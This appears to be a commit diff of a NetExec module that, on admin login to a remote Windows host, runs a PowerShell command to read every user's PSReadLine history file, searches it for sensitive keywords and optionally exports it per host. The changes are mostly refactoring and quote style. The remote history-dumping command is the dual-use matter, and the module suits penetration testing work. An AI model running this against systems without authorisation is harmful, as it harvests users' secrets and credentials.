11import traceback
22import os
3- from impacket . examples . secretsdump import RemoteOperations
3+
44
55class NXCModule :
66 """Module by @357384n"""
@@ -14,23 +14,9 @@ class NXCModule:
1414 def options (self , context , module_options ):
1515 """To export all the history you can add the following option: -o export=enable"""
1616 context .log .info (f"Received module options: { module_options } " )
17- self .export = module_options .get (' EXPORT' , ' disable' ).lower ()
17+ self .export = module_options .get (" EXPORT" , " disable" ).lower ()
1818 context .log .info (f"Option export set to: { self .export } " )
1919
20- def execute_command (self , connection , command ):
21- """Execute a command on the remote system and return the output."""
22- output = connection .execute (command , True )
23- return output
24-
25- def get_powershell_history (self , connection ):
26- """Get the PowerShell history for all users."""
27- history_paths_command = 'powershell.exe "type C:\\ Users\\ *\\ AppData\\ Roaming\\ Microsoft\\ Windows\\ PowerShell\\ PSReadLine\\ ConsoleHost_history.txt"'
28- try :
29- history_output = self .execute_command (connection , history_paths_command )
30- return history_output .split ('\n ' )
31- except Exception as e :
32- raise Exception (f"Could not retrieve PowerShell history: { e } " )
33-
3420 def analyze_history (self , history ):
3521 """Analyze PowerShell history for sensitive information."""
3622 sensitive_keywords = [
@@ -50,7 +36,8 @@ def on_admin_login(self, context, connection):
5036 """Main function to retrieve and analyze PowerShell history."""
5137 try :
5238 context .log .info ("Retrieving PowerShell history..." )
53- history = self .get_powershell_history (connection )
39+ command = 'powershell.exe "type C:\\ Users\\ *\\ AppData\\ Roaming\\ Microsoft\\ Windows\\ PowerShell\\ PSReadLine\\ ConsoleHost_history.txt"'
40+ history = connection .execute (command , True ).split ("\n " )
5441 if history :
5542 sensitive_commands = self .analyze_history (history )
5643 if sensitive_commands :
@@ -64,7 +51,7 @@ def on_admin_login(self, context, connection):
6451
6552 # Check if export is enabled
6653 context .log .info (f"Export option is set to: { self .export } " )
67- if self .export == ' enable' :
54+ if self .export == " enable" :
6855 host = connection .host # Assuming 'host' contains the target IP or hostname
6956 filename = f"{ host } .powershell_history.txt"
7057 context .log .info (f"Export enabled, writing history to { filename } " )
0 commit comments